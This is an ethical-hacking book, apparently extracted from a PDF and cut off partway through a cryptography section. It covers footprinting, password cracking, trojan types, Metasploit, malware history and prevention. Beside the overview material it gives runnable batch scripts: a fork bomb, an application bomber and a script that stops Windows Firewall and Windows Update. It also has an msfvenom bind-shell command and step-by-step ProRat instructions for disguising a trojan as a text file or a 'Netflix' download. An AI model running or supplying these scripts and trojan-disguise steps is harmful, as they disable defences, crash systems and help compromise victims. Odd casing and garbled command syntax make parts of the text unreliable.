Ethical Vs Blackhat
Ethical Vs Blackhat
My introduction is little brief and conclusion small, the very first day, I was
introduced to the computer I was aware of two things one development and
other hacking i.e. creating a logical system VS breaking a logical system,
I was attracted towards second one which is hacking and cybersecurity.
Almost every security expert tries to view a system in perspective of ethical
hacker, but the truth is blackhat hackers, they have a different point of view,
and their works are really magical they make things appear and then they
disappear. As it is said if you cannot beat them “join them”. The purpose of
this book is to motivate the computer guys to increase their cybersecurity
skills to prevent from getting cracked by other bad hackers and using their
skills in white purpose. All of the information in this book is meant to help
the reader develop a hacking defense attitude to prevent cyber-attacks.
All the information provided in the book is created for educational purposes
only. And the book should be used only for ethical use. The book contains
the view of the author about hacking and has been published only for
educational purpose. Any proceedings or activities related to the material
contained within this volume are exclusively your liability. The misuse and
mistreat of the information in this book can lead to unlawful charges brought
against the persons in question. The author or Publisher holds no
responsibility for any misuse of the information provided. The word
“Hacking” or “Hacker” in the book means “Ethical hacking” or “Ethical
Hacker” respectively.
“I want to thank my dad. Baba, Thank you.”
1 THE BLACK dICTIoNARy 1
2 HACKINg METHodoLogy 3
3 REMoTE HACKINg 10
7 ExPLoITINg WI-FI 96
10 CoNCLUSIoN 121
the black dIctIonary
Most people think that “hackers” are computer criminals. This term has two
different meanings. There are two sides to every coin means you can’t have
the good part of something without its bad. you could say: “if you want to
have your face in the light, you should have your back in the dark”. “Two
sides of the same coin” has a different meaning: two things seem different
or opposed but both are the same. one is used for a person who performs
Ethical Hacking. These are usually security professionals with knowledge
of hacking which are used to securing organizations, companies,
government, etc. to secure documents and secret information on the
internet. And another one who performs Unethical Hacking. These are the
Blackhat Hackers or Crackers who use their skills and knowledge for illegal
or malicious purposes.
what is hacking?
In the computer security context, hacking means gaining unauthorized
access to data in a system or simply an attempt to bypass a computer
systems security, mechanism to gain control over it or to perform any
illegitimate activity for personal gain or creating a threat on one’s security
to better describe hacking, one needs to first understand hackers. one can
easily assume them to be intelligent and highly skilled in computers or
someone who likes to tinker with software or electronic systems. Hackers
enjoy exploring and learning how computer systems operate. They love
discovering new ways to work electronically. In fact, breaking a security
system requires more intelligence and expertise than actually creating one.
Why hacker hack?
The main reason why Hackers hack is because they can hack. Hacking
is a casual hobby for some Hackers — they just hack to see what they
can hack or what they can’t hack, usually by testing their own systems.
When we have a close look at hackers, then they can be Categorized in
different terms according to their purpose and approach.
types of hackers
• Black hat Hacker-They are computer guys who perform Unethical
Hacking. They don’t care about laws that they break, and the chaos
or Financial loss that are left behind because of their doings. These
kinds can be termed as Criminal Hackers, Crackers or simply
Blackhat Hackers.
• White hat hackers- They are the computer guy who performs
Ethical Hacking. These are usually security professionals.
Commonly known as Ethical Hacker or a Penetration Tester. They
perform hacking to secure their system or an organization’s system
that they work for, they use their skills to protect a system from any
other hackers trying to exploit it or trying to steal valuable
information from a particular system or network.
• Grey hat hacker- They are the computer guy who sometimes acts
legally and sometimes acts illegally, basically refers to a computer
hacker or computer security expert who may sometimes violate
laws or typical ethical standards, but does not have the malicious
intent typical of a black hat hacker.
• Hacktivist- Hacker who utilizes technology to publicize a social,
ideological, religious or political message. Most hacktivism
involves website defacement or denial-of-service attacks.
• A script kiddie- A non-expert who breaks into computer systems by
using pre-packaged automated tools written by others, usually with
little understanding of the underlying concept.
• Phreaker- A hacker who identifies and exploits weaknesses in
telephones instead of computers.
understanding the need to hack your own systems
“To catch a thief, think like a thief. That’s the basics for ethical hacking.”
The law of averages works against security. With the increased numbers
and expanding knowledge of hackers combined with the growing number
of system vulnerabilities and other threats to security, the time will come
when all computer systems can be hacked or compromised in one way or
another, as it is said: “Security is just an illusion”.
When you know hackers trick, you can understand how vulnerable
your system is. As hackers expand their knowledge, so should you.
Footprinting
Information Gathering/Footprinting: This is the most important step to
conduct the attack because as much as we gather information about the
targeted system, the more Vulnerability we can discover. Footprinting
is all about gathering information actively or passively. Reviewing the
company’s website is an example of passive footprinting, whereas
calling the help desk and attempting to social engineering them out of
privileged information is an example of active information gathering.
The major objective of footprinting
includes the collection of target’s network information, system
information, and organizational information.
types of Footprinting:
1) Network footprinting: This is the process of collecting information
related to a target network. Information like
• Domain name
• Subdomains
• Network Blocks
• IP Addresses of reachable systems
• TCP & UDP services running
• IDSes running
• networking protocols
• TCP & UDP Services Running
2) System Footprinting: The information related to the target system like
• User and group names
• System Banner
• Routing Tables
• SNMP information
• System Names
• System Architecture
• Passwords
3) Organization’s information Gathering:
• Employee Details
• Organization’s Website
• Company directory
• Background of Organization
• Address and Phone numbers
• Web Server Links
IP address ranges
Larger websites usually have multiple IP addresses serving different
domains and sub-domains. small sites may have a single IP address
associated with them, but we can obtain a range of IP addresses
assigned to a particular company using American Registry for Internet
Numbers
www.itools.com/tool/arin-whois-domain-search
history of the Website
The purpose of the Wayback Machine is to collect as much content as
possible from the web that might otherwise be lost when websites change or
close down. The project evolved through the use of sophisticated web
crawlers that attempt to download accessible world wide web pages and
other resources.
In other words, we can describe it as it is a website that helps to see
the past of the website.
https://archive.org/web/
email tracking:
Email messages contain much essential information in their header area
which includes the sender, recipients, subject and tracking information.
• Email header: The email header is a code snippet in the HTML
email document, which contains information about the sender Mail
Transfer Agents(MTA) that send and receive the message.
• Mail Transfer Agents(MTA): It is responsible for transferring and
routing an electronic mail message from the sender’s computer to
the recipient’s computer, generally sender and receiver are not
connected by a direct connection. Hence, we use MTA’s to create a
path between the sender’s mail server and the receiver’s mail
server. Email headers provide Routing information.
2. Select Show original from the menu. gmail will open a new tab
showing the full message.
3. Copy the text on the page.
4. open the Message header tool.
https://toolbox.googleapps.com/apps/messageheader/
5. In “Paste email header here,” paste your header and v Click
Analyze the header above.
Port scanning
So what are ports? In computer networking ports are defined as a
communication endpoint, point through which information flows
from a program on your computer or to the computer from the Internet
or to another computer in a network, which is used by the
Transport Layer protocols of Internet Protocol Suite, such as User
diagram Protocol (UdP) and Transmission Control Protocol (TCP).
A port number is a 16-bit unsigned integer that ranges from 0 to 65535,
but only port numbers 0 to 1023 are reserved for privileged services and
designated as well-known ports.
tools
NMap, short for network mapper, is an open-source tool for
vulnerability scanning and network discovery. Security experts use
namp for footprinting and to identify what devices are running on their
systems, discovering available hosts and the services they offer, finding
open ports, services running on a particular system, finding open and
closed ports and detecting security risks. It can be used to monitor
single hosts as well as vast networks that encompass hundreds of
thousands of devices.
The resulting scan shows the status of ports detected on the target
system. A default Nmap scan will check for the 1000 most
commonly used TCP/IP ports.
scan multiple target
Usage Syntax: nmap [target1 target2 tarrget3 targetN]
This above syntax will scan multiple target at the same time.
udP scan
While TCP is the most commonly used protocol,many network services
(dNS,dHCP and SNMP) still uses UdP. When performing network
footprinting it’s always good idea to check for both TCP and UdP
Services to get more complete picture of the target host/network.
Usage Syntax: nmap -sU [target]
Port scaning overview
There are total 131,070 ports including (65,535 TCP and 65,535 UdP).
Nmap by default only scans 1,000 commonly used ports, to save time.
However, we can scan outside the default range of ports to look for services
or ports to get full picture of the targeted system.
• ICMP Echo- Two ICMP Request packets are sent to the target
system with varying settings in the packet.
The resulting responses will help verify the oS type by NMAP.
• TCP Explicit Congestion Notification- The packet being sent
is only to get a response from the target system. Specific values
returned are used to determine the specific oS since each oS handles
the packets in different ways
• TCP- Some packets are sent to open or closed ports with specific
packet settings. Again, the results will vary depending on the target
oS.
• UDP- This probe consists of a single packet sent to a closed port.
If the port used on the target system is closed and an ICMP Port
Unreachable message is returned, then there is no Firewall.
The resulting scan shows the status of the ports detected on the
specific target, the table below describes the output fields displayed by
the scan.
gaining access
The goal here is to use to gain access to the target. In the first phase, we
have seen that information is gathered for its validity. In the footprinting
phase we are able to pick the leakage points such as os version, Service
version of the targeted system which will help the attacker to know
the security posture and Vulnerability of the remote system and now in
gaining Access it’s time for trying to access them. This phase is where an
attacker breaks into the system/network using various tools or methods.
After entering into a system, he has to increase his privilege to the
administrator level so he can install an application he needs or modify
data or hide data.
Password cracking:
There are few basic methods of password cracking:
• Bruteforce: trying all possible combinations until the password is
cracked.
• Dictionary attack: This is a compiled list of meaningful words,
compared against the password field till a match is found.
• Rule based attack: If some details about the target are known, we
can create rules based on the information we know.
• Rainbow table: Instead of comparing the passwords directly, taking
the hash value of the password, comparing them with a list of pre-
computed hash values until a match is found.
Rainbow table method gives an advantage to the attacker since no
account lockout is enabled for wrong hashes against the password. To
prevent rainbow table attack, salting can be used. Salting is a process of
adding random numbers to the password so the attacker will not be able
to crack the hash without that salt added.
non-electronic attacks
Non-electronic attacks are also known as non-technical attacks. This kind
of attack doesn’t require any technical knowledge about the methods of
intruding into another system.
• Social engineering
• Shoulder surfing
• Dumpster Diving
maintaining access
once a hacker has gained access, they want to keep that access for future
exploitation and attacks. once the hacker owns the system, they can use it
as a base to launch additional attacks. Sometimes, hackers harden the
system from other hackers or security personnel by securing their
exclusive access with backdoors, rootkits, a n d Trojans, to g e t further
access to the system.
overview to trojan
Trojan horse or Trojan is a type of malware that is often disguised as
legitimate software. Trojans can be employed by cyber-thieves and
hackers trying to
gain access to users’ systems. Users are typically tricked by some form
of social engineering into loading and executing Trojans on their
systems. once activated, Trojans can enable an attacker to spy, steal
your sensitive data, and gain backdoor access to your system.
A Trojan horse isn’t just a single type of virus. It also varies to its
purpose. The cybercriminal can target a specific person or spread the
Trojan horse of his choice widely. This list will make you understand
the different types of Trojan horses and what do they do:
• Rootkits
A rootkit is a piece of software installed on the machine that allows
an attacker to do several malicious things, including opening a
backdoor. A rootkit is illegally installed on the machine without the
owner knowing, it runs on a target machine when an attacker
somehow gained access to the system with root-level privileges.
The point of the rootkit is to transform that transient access into an
always-open door.
Think of the rootkit being the tool that could allow a backdoor to be
opened.
• Backdoors
A backdoor refers to any method by which authorized and
unauthorized users can get around normal security measures and
gain high-level user access (root access) on a computer system,
network, or software application. once they’re in, an attacker can
use a backdoor to steal personal and financial data, install
additional malware, and hijack devices.
But backdoors aren’t just for attackers. Backdoors can also be
installed by software or hardware makers as a deliberate means of
gaining access to their technology after the fact. Backdoors of the
non-criminal variety are useful for helping their customers who are
hopelessly logged out of their devices or for troubleshooting and
resolving software issues.
• Trojan-Banker
A banker Trojan is designed to get financial information or hack
users through a banking or financial system, commonly through an
online banking or brokerage interface sometimes this trojan
redirects banking site traffic of users to the attacker’s site.
• Remote Access Trojans
A remote access Trojan (RAT) is a malware program that includes a
back door for administrative control over the target computer. RATs are
usually downloaded invisibly with a user-requested program -- such as
a game -- or sent as an email attachment to the victim.
• Data Sending Trojans
This type of Trojan horses is designed to provide the attacker with
sensitive data such as passwords, credit card information, log files, e-
mail address or IM contact lists. These Trojans can look for specific
pre-defined data (e.g., just credit card information or passwords), or
they install a keylogger and send all recorded keystrokes back to the
attacker
• Destructive Trojans
This trojan is designed to destroy or delete data from the victim’s
system. once a destructive Trojan infects a computer system, it
randomly deletes files, folders, and registry entries, often resulting in oS
failures. A destructive Trojan is usually in program form or manipulated
to strike like a logic bomb programmed and specified by the attacker.
• Proxy Trojans
A proxy Trojan is a virus that hijacks and turns the host computer into
a proxy server, part of a botnet, from which an attacker can stage
anonymous activities and attacks, Proxy Trojan can use PC as a piece
of a botnet to perfect spamming.
• FTP Trojans
This trojan is designed to attacks the port that is used to carry out file
transfers using FTP technology, allowing the attacker to access a
machine using the FTP Protocol. generally, a Trojan is a type of virus
entering a system in an undetected manner and accessing all
confidential data, thereby causing trouble by compromising or
exposing data.
• Security software disabler Trojans
This Trojan horse are designed stop or kill security programs such as an
antivirus program or firewall without the user knowing. This Trojan
type is normally combined with another type of Trojan.
• Denial-of-service attack (DoS) Trojans
This Trojan are designed to conduct a doS attack from an infected
computer on a pre-defined address. Essentially, a doS attack
involves sending numerous requests to the victim machine; this
leads to a denial of service if the computer under attack does not
have sufficient resources to process all the incoming requests.
In order to conduct a successful doS attack, malicious users
often infect a number of computers with this type of Trojan.
covering tracks
Attackers have done whatever they want in all the above phases. What
about the logs, monitors, checkpoints, firewalls, etc. An intelligent
hacker always clears all evidence so that in the latter point of time, no
one will find any traces leading to him. This involves
modifying/corrupting/deleting the values of Logs, modifying registry
values and uninstalling all applications he used and deleting all folders
he created.
What is metasploit?
Metasploit is a penetration testing framework that makes hacking
simple. It’s an essential tool for many attackers and defenders. Point
Metasploit at your target, pick an exploit, what payload to drop, and
hit Enter.
The Metasploit Project is an open-source project that provides a
public resource for researching security vulnerabilities and developing
code that allows a network administrator to break into his network to
identify security risks and document which vulnerabilities need to be
addressed first.
Metasploit was originally developed and conceived by Hd Moore
while he was employed by a security firm. When Hd realized that he
was spending most of his time validating and sanitizing public exploit
code, he began to create a flexible and maintainable framework for
the creation and development of exploits. He released his first edition
of the Perl-based Metasploit in october 2003 with a total of 11 exploits,
later it was acquired by Rapid7 but it also provides a community
edition which is completely free to use.
basic terms
• Vulnerability- A weakness which allows an attacker to break into/
compromise a system’s security
• Exploit- The code which allows an attacker to take advantage of a
vulnerable system
• Payload- The code which runs on the system after exploitation
• Modules- A prepackaged collection of code from the Metasploit
Framework that performs a specific task, such as run a scan or launch
an exploit.
• Listener- A listener waits for an incoming connection from either the
exploited target or the attacking machine and manages the connection
when it receives it.
• Meterpreter- Meterpreter is an advanced multi-function payload that
provides you an interactive shell. From the Meterpreter shell, you
can do things like download a file, obtain the password hashes for user
accounts, and pivot into other networks. Meterpreter runs on
memory, so it is undetectable by most intrusion detection systems.
• Auxiliary Module- An auxiliary module does not execute a payload
and perform arbitrary actions that may not be related to exploitation.
Examples of auxiliary modules include scanners, fuzzers, and denial of
service attacks.
• LHOST: This is the IP address you want your target machine to
connect to, literally. If you’re in a local area network, it is unlikely
your target machine can actually reach you unless you both are in the
same network.
• LPORT: This the port you want your target machine to connect to.
metasploit modules
Most of the tasks that we perform in Metasploit require the use of a
module, which is a standalone piece of code that extends the functionality
of the Metasploit Framework. A module can be an exploit, auxiliary or
post- exploitation module. The module type determines its purpose. For
example, any module that can open a shell on a target is considered an
exploit module. A popular exploit module is MS08-067.
Metasploit has six types of modules. These are;
(1) Exploits- An exploit module executes a sequence of commands to
target a specific vulnerability found in a system or application. An
exploit module takes advantage of a vulnerability to provide access
to the target system. Exploit modules include buffer overflow, code
injection, and web application exploits.
(2) Payloads- A payload is the shellcode that runs after an exploit
successfully compromises a system. The payload enables you to
define how you want to connect to the shell and what you want
t o do to the target system after you take control of it. A payload
c a n open a Meterpreter or command shell. Meterpreter is an
advanced payload that allows y o u to w r i t e d L L f i l e s to
dynamically create new features as you need them.
(3) Auxiliary- An auxiliary module does not execute a payload and
performs arbitrary actions that may not be related to exploitation.
Examples of auxiliary modules include scanners, fuzzers, and
denial of service attacks.
(4) Encoders- The encoder modules are designed to re-encode
payloads and exploits to enable them to get past security defense
systems such as Antivirus and intrusion detection system (IdS).
(5) Post Exploitation- These are modules that are used after the
exploitation of a system. These modules are often used after the
system has been “owned” and has the Meterpreter running on the
system. These can include such modules as keyloggers, privilege
escalation, enabling the webcam or microphone, etc.
(6) Nops- a NoP is short for “no operation”. This causes the system’s
CPU to do nothing for a clock cycle. often, NoP’s are essential for
getting a system to run remote code after a buffer overflow
exploit. These are often referred to as “NoP sleds”. These modules
are used primarily to create NoP sleds.
metasploit inner architecture
Why metasploit
Metasploit isn’t just a tool; it’s an entire framework that provides the
infrastructure needed to easily build attack vectors to augment its
exploit,payloads encoders and more in order to create and execute
more advanced attacks, given below are some of the advantages
metasploit.
• Open source
• More than 900 tested exploits
• Over 250 + Payloads
• Over 30+ Encoders
• 1000+ Auxiliary
• It offers “plug and play” of Payloads with Exploits
• GUI environment
exploitation using metasploit
When using Metasploit for Penetration testing typically these processes
are conducted to exploit a target,
• Scanning IP to get ports and services.
• Identifying a vulnerable service.
• Finding a public/private exploit for the vulnerability.
• Launching the exploit to the targeted system
• Post-exploitation
At first the attacker sends the suitable exploit with the payload to the
targeted system, if the exploits works then the payload runs next after
injecting the payload the attacker would have full access to the targeted
system, then attacker can download data,upload malware keystroke
recoding etc,this phase is post exploitation process.
metasploit Interfaces
Metasploit offers more than one interface to its underlying
functionality, including console, command line, and graphical
interfaces. In addition to these interfaces, utilities provide direct
access to functions that are normally internal to the Metasploit
Framework. These utilities can be invaluable for exploit development
and situations for which you do not need the flexibility of the entire
Framework.
msfconsole
The msfconsole is probably the most popular interface to the
Metasploit Framework (MSF). It provides an “all-in-one” centralized
console and allows you efficient access to virtually all of the options
available in the MSF.
Usage Syntax: MSFconsole
msFvenom
MSFvenom is a combination of Msfpayload and Msfencode, putting
both of these tools into a single Framework instance. msfvenom
replaced both msfpayload and msfencode as of June 8th, 2015. These
tools are extremely useful for generating payloads in various formats
and encoding these payloads using various encoder modules.
Usage Syntax: Msfvenom -p/meterpreter/bind_tcp -f exe>/rrot/desktop/
bind.exe
• The -p flag: Specifies what payload to generate
• The -f flag: Specifies the format of the payload
This syntax will generate an exploit “bind.exe”.
Running this Bind.exe on the target system will opens up a port on
the victim’s device, which will actively listen for connection on a
particular port. The attacker can then easily connect to the port in
order to get shell access through meterpreter.
armitage
Armitage is a fantastic Java-based gUI front-end for the Metasploit
Framework developed by Raphael Mudge. Its goal is to help security
professionals better understand hacking and help them realize the
power and potential of Metasploit.
Armitage is very user friendly. Its gUI has three distinct areas: Targets,
Console, and Modules.
• The area Targets lists all the machines that you have discovered
and
those you are working with. The hacked targets have red color with
a
thunderstorm on it. After you have hacked a target, you can right-
click on it and continue exploring with what you need to do, like
exploring (browsing) the folders.
• The area Console provides a view for the folders. Just by clicking on it,
you
can directly navigate to the folders without using any Metasploit
commands.
• The area Modules is the section that lists the module of
vulnerabilities.
malware analysis
Malware, or malicious software, software that is specifically designed to
disrupt, damage, or gain unauthorized access to a computer system or to
disable mobile devices, computers or network servers. “Malware” is the
general term covering all the different types of threats to your computer
safety such as viruses, spyware, worms, Trojans, rootkits and so on, thus
malware can be categorized in many forms which are discussed below.
types of malware
• Virus: A virus is a form of malware that is capable of copying itself and
spreading to other computers, it is attached to a document or file that
supports a single instruction that expands automatically into a set of
instructions to perform a particular task when executed its code it is
capable of spreading from one host to another host. once
downloaded,
the virus will lay dormant until the file is opened and in use. Viruses
are designed to disrupt a system’s ability to operate. As a result,
viruses can cause significant operational issues and data loss.
• Worms: Computer worms are similar to viruses because they
replicate functional copies of itself and can cause the same type of
damage. But in case of a worm, it is standalone software and does
not require a host program or human help to propagate. Worms can
be transmitted via software vulnerabilities Sometimes a computer
worm’s purpose is only to make copies of itself over and over again
to consume system resources, such as hard drive space or
bandwidth, causing to overload the systems resource.
• Spyware: The definition of spyware is a software program that
secretly gathers personal information and sends it to the attacker,
without the user’s knowledge from a computer when it is online.
An example of spyware is an adware software program that records
a user’s keystrokes on online advertisements and reports them to
research or ad firm.
“Spyware runs quietly in the background, collecting information.”
emotet
Emotet is a banking Trojan malware program that obtains financial
information, such as user credentials stored on the browser, by
eavesdropping on network traffic. Emotet malware also inserts itself into
software modules that are then able to steal address book data and perform
a denial of service attacks on other systems. It also functions as a
downloader or dropper of other banking Trojans Emotet continues to be
among the costliest and destructive malware affecting state, local, tribal,
and territorial (SLTT) governments, and the private and public sectors.
Source of infection: Email, Embedded URL’s
Author: Mealybug group
Wanacry
WanaCry is a ransomware crypto worm using the EternalBlue exploit to
spread via SMB protocol. This ransomware worm spreads itself rapidly
across several computer networks in May of 2017. After infecting
Windows computers, it encrypts files on the PC’s hard drive, making them
impossible for users to access, then demands a ransom payment in bitcoin
to decrypt them. Version 1.0 has a “killswitch” domain, which stops the
encryption process after the demanded ransom payment is made.
WanaCry Execution Flow
Source of infection: Email
Author: Lazarus group(North Korean hacker group)
kovter
This malware has gone through various changes during its lifespan.
Initially, it appeared as police ransomware to the infected systems,
where it remained in a target system waiting for the right opportunity—
usually when the user downloaded illegal files or browsed illegal
websites. once triggered, it
notifies the user of illegal activity along with a “fine”, which equates to
its ransom demand. However, this early version was not too effective, as
it required the correct set of conditions and could easily be detected and
removed. The second, and perhaps most visible variant of KoVTER was
that of a click-fraud malware. This variant used code injection to infect its
target, after which it stole information that is then sent to its Command &
Control (C&C) servers. during 2014 the code base changed as updates were
committed and the ransomware conducted “click fraud” attacks as well. In
2015, KoVTER evolved again into a fileless malware.
Source of infection: Pornography website, Emails
Author: Kovcoreg
iloveyou
The ILoVEyoU virus is a computer worm. It spread through an email.
ILoVEyoU is one of the most well-known and worst computer viruses of
all time. It arrived with the subject line “ILoVEyoU” and an attachment,
“LoVE-LETTER-FoR-yoU.txt.vbs”. If the attachment was opened, a Visual
Basic script was executed, and the computer was infected. The virus spread
quickly through email, websites and file sharing. The virus replicated itself
and exposed itself to everyone in the vivtim’s contact list. This virus was a
pioneer for other viruses, as it was one of the first to attach to an email.
Source of Infection: Email using the outlook email application
Author: onel de guzman
code red
The Code Red and Code Red II worms came up in the summer of 2001.
Both worms exploited an operating system vulnerability that was found in
machines running Windows 2000 and Windows NT. The vulnerability
was
a buffer overflow problem, Activities of the worm were based on the
date of the month, The Code Red worm initiated a distributed denial of
service (ddoS) attack on the White House. That means all the
computers infected with Code Red tried to contact the Web servers at
the White House at the same time, overloading the machines.
• Days 1-19: Trying to spread itself by looking for more IIS servers
on the Internet.
• Days 20–27: Launch denial of service attacks on several fixed IP
addresses. The IP address of the White House web server was
among those.
• Days 28-end of month: Sleeps, no active attacks.
Source of infection: probing random IP addresses and infecting all
hosts vulnerable to the IIS exploit.
Author: group Chinese
lifecycle of a virus
After development and deployment of a computer Virus it goes through
four phases in the affected system.
• Dormant Phase: once a virus has successfully attached to a
program, file, or document, the virus will lie dormant on the
infected system until circumstances cause the computer or device to
execute the file in which the virus is attached. For a virus to infect
your computer, you have to run the infected program.
• Propagation Phase: After successful execution of the virus it will
places an identical copy of itself into other programs or certain
system areas on the disk.
• Triggering phase: And now after replicating itself the virus will be
activated to perform the function for which it was intended which
may include deleting data, performing ddoS or anything the attacker
has programmed the virus to do.
• Execution Phase: This is the actual work of the virus, where the
“payload” will be released and the function will be performed.
Fork bombing:
Most of them have heard about the word ‘fork()’, which is used to create
child process, like wise fork bombing is nothing but calling a program by
itself again and again with a infinite loop and making the system to crash by
popping up hundreds of windows on the screen.
@echo off
:loop Explorer
Call fork.bat
Goto loop
Type this above program in a notepad file and save it as ‘fork.bat’. when
executing, The explorer command will open up the ‘documents’ directory,
because the program contains a loop, which will lead to calling the batch
file again and again which in turn opens up multiple documents rolled out
in a loop, likewise it goes on by calling the program itself again and again
until the system crashes or hangs up.
Application Bomber
Application bomber is a superset of window bomber, this has a close
relation to the above given fork bomber program, where in this ‘application
bomber’ we don’t call the program using the name itself (simply known as
fork), whereas in this program we are going to open up several applications
continuously using a loop.
@echo off
:loop
start notepad
start
winword
start mspaint
start write
start cmd
start
explorer
start control
start calc
goto loop
When the above given batch program is executed, it will open up the
following applications such as notepad, word document, Microsoft
paint, WordPad, command prompt, my documents, control panel, and
calculator in an infinite loop causing the system to collapse and as a
result the system simply crashes or reboots. Just imagine the same using
a fork concept; oops! it will make the system crash immediately.
msg annoyer
Message annoyer is a batch program that uses the same concept as
above but will interact with the user and anyhow annoying and irritating
them by popping up some message box containing the given messages
in it.
@echo off
:annoy
msg * Hi there!
msg * How u doin
?
msg * Are you fine ?
msg * Never mind about me....
msg * I am not here to annoy you....
msg * I am caring for you.....
msg * start counting from 1 to 5, i Will be outta this place.....
msg * 1
msg * 2
msg * 3
msg * 4
msg * 5 goto
annoy
This program will pop up a small message box Containing the text
mentioned in the program given above. This message box will pop up until
an endless loop, which annoys the person sitting before the computer. Even
these small popup windows may crash the computer if it overloads the
memory.
service disabler:
The following piece of code is used for stopping some critical windows
services.
@echo off
net stop “Windows Firewall”
net stop “Windows Update”
net stop Workstation
net stop “DHCP Client” net
stop “DNS Client” net stop
“Print Spooler” net stop
Themes
exit
This program when executed will stop the ‘windows firewall’ service that is
required to block unwanted datagram’s coming from the internet, ‘windows
update’ service that is required to update windows patches and so on,
‘workstation’ service that is required for the computer to establish a
peer to peer connection, ‘DHCP Client’ service that is required to
register an available IP address from the dHCP server, ‘DNS Client’ service
that is required to resolve FQdN (Fully Qualified domain Name) into its
equivalent IP address, ‘print spooler’ service that is required to load the
document to be printed in the spool, and then the ‘themes’ service that
is required to offer Themes and other graphical appearance.
creating trojan using tools
• ProRat
6. Click on the Bind with File button to continue. Here you will
have the option to bind the Trojan server file with another file.
Remember a Trojan can only be executed if a human runs it. So by
binding it with a legitimate file like a text document or a game, the
chances of someone clicking it go up. Check the bind option and
select a file to bind it to. In the example I will use an ordinary text
document.
7. Click on the Server Extensions button to continue. Here you
choose what kind of server file to generate. I will stick with the
default because it has icon support, but exe file looks suspicious so
it would be smart to change it.
8. Click on Server Icon to continue. Here you will choose an icon for
your server file to have. The icons help mask what the file actually
is. For my example I will choose the regular text document icon
since my file is a text document.
9. Finally click on Create Server to, you guessed it, create the server
file. Below is what the server file looks like.
10. A hacker would probably rename it to something like “Netflix”
and send it as an attachment to some people. A hacker could also
put it up as a torrent pretending it to look something else, like the
latest game that just came out so he could get people to
download it.
11. Now, I will show you what happens when a victim installs the
server onto his computer and what the hacker could do next.
12. I’m going to run the server on my virtual machine to show you
what would happen. once I run it the Trojan will be installed in my
computer in the background. Then attacker could connect to the
infected computer by typing in the IP address, port and clicking
Connect. attacker will be asked for the password that he made
when he created the server. once he types it in, he will be
connected to the infected computer and have full control over it.
13. Now the hacker has a lot of options to choose from as you can see
on the right. He has access to all my computer files, he can shut
down my pc, get all the saved passwords off my computer, send a
message to my computer, format my whole hard drive, take a
screen shot of my computer, and so much more. Below I’ll show
you a few examples.
14. The image below shows the message I would get on my screen if
the attacker chose to display a message.
15. Below is an image of my task bar after the hacker clicks on Hide
Start Button.
16.
Below is an image of what the hacker would see if he chose to take a
screen shot of the victim’s screen.
As shown in the above example, an attacker can do a lot of silly things or
a lot of damage to the victim’s system. ProRat is a very well-known
trojan so if the victim has an anti-virus program installed he would
most likely won’t
be infected. Many skilled hackers can program their own viruses and
Trojans that can easily bypass anti-virus programs.
Polymorphic malware
Polymorphic malware is a type of malware that constantly changes its
identifiable features such as signature in order to evade detection. Many
of the common forms of malware can be polymorphic, including
viruses, worms, bots, Trojans.
metamorphic virus
A metamorphic virus is a type of malware that is capable of changing
its code and signature patterns with each iteration.
Metamorphic viruses are considered to be more advanced threats
than typical malware or polymorphic viruses. Metamorphic virus
authors use techniques to disguise their malicious code in order to avoid
detection from antimalware and antivirus programs, as well as make
attribution of the malware more difficult.
• Crypter
A crypter is a software tool which is used to encrypt the signature of a
malware or file so that it cannot be detected by any antivirus through its
signature, Signature is like fingerprint which is used to detect and
identify specific malware. Since when signature is encrypted it becomes
much harder to detect even if the antivirus is up to date.
• Polymorphic packer
A polymorphic packer is a software tool, which binds up several kinds
of malware into a single genuine file under one name and extension,
such as an e-mail attachment or pdf, and has the ability to make its
“signature” mutate over time, so it is more difficult to detect and
remove. When the user starts the genuine file the malware which is
hidden in the file will automatically executed and will infect victim’s
system.
methodology to reVerse
engIneerIng malWares
• Fully-Automated Analysis:
The easiest way to assess the nature of a suspicious file is to scan it
using fully-automated tools, some of w h i c h are available as
commercial products and some as free ones. These utilities are
designed to quickly assess what the specimen might do if it ran
on a system. They typically produce reports with details such as the
registry keys used by the malicious program, its mutex values, file
activity, network traffic, etc.
• Static Properties Analysis:
In order to get a more in depth look at malware, it is imperative to look
at its static properties. It is easy to access these properties because it
does not require running the potential malware, which takes a longer
time. The static properties include hashes, embedded strings, embedded
resources, and header information. The properties should be able to
show elementary indicators of compromise.
• Interactive Behavior Analysis:
After using automated tools and examining static properties of the file,
as well as taking into account the overall context of the investigation,
Behavioral analysis involves examining how sample runs in the lab to
understand its registry, file system, process and network activities.
Understanding how the program uses memory (e.g., performing
memory forensics) can bring additional insights.
• Manual Code Reversing:
Manual code reversing involves the use of a disassembler and a
debugger, which could be aided by a decompiler and a variety of
plugins and specialized tools that automate some aspects of these
efforts. Memory forensics can assist at this stage of the pyramid as
well.
Reversing code can take a lot of time and requires a skill set that is
relatively rare. For this reason, many malware investigations don’t dig
into the code. However, knowing how to perform at least some code
reversing steps greatly increases the analyst’s view into the nature of the
malicious program in a system.
Prevention from malware
Protecting your computer is very often, much easier than you might
think. If you follow these four steps to prevent viruses, your computer
won’t become infected again.
1) Take care which programs you install
It is essential to be aware of what you’re installing or running
on your computer. Virus creators earn a lot of money from
programs or applications which, at first glance, seem harmless but
can infect your computer when they are run. That’s why you
should:
• Never open messages from unknown sources.
• Avoid non-secure web pages. You can recognize secure pages as
the address begins with ‘https://’ and they display a padlock
icon.
• Use secure passwords.
• Not provide confidential information via email.
2) Install a reputable antivirus extension.
Because of the nature of modern browsers, antivirus software
cannot run as extensions on their own; you will have to download
extensions for these browsers. Even then, only install extensions
from reputable sources, as there are many viruses that trick you
into thinking a safe website is malicious, even though it isn’t.
3) Update, Update, Update!
Microsoft Windows ‘Critical Update’ is one example of staying
ahead of all the hackers out there. Critical Update is an entire
branch of Microsoft that is dedicated to keeping computers free is
viruses. Always keep your system updated
4) Install a firewall
A firewall is a program that screens incoming internet and
network traffic. Along with your virus program, it can help
prevent unauthorized access to your computer.
understandIng
cryPtograPhy & blockchaIn
encryption algorithms
• RSA algorithm (Rivest-Shamir-Adleman)
The RSA algorithm is the basis of a cryptosystem, RSA was first
publicly described in 1977 by Ron Rivest, Adi Shamir and Leonard
Adleman of
t h e Massachusetts Institute of Technology, t h o u g h t h e 1973
creation of a public k e y algorithm by British mathematician
Clifford C o c k s was kept classified by t h e U.K.’s gCHQ until
1 9 9 7 . R S A algorithm i s asymmetric cryptography algorithm.
Asymmetric actually means that it works on two different keys i.e.
Public Key and Private Key. As the name describes that the Public
Key is given to everyone and Private key is kept private.
The disadvantages of RSA is, RSA algorithm can be very slow in
cases where large data needs to be encrypted by the same computer.
It requires a third party to verify the reliability of public keys. data
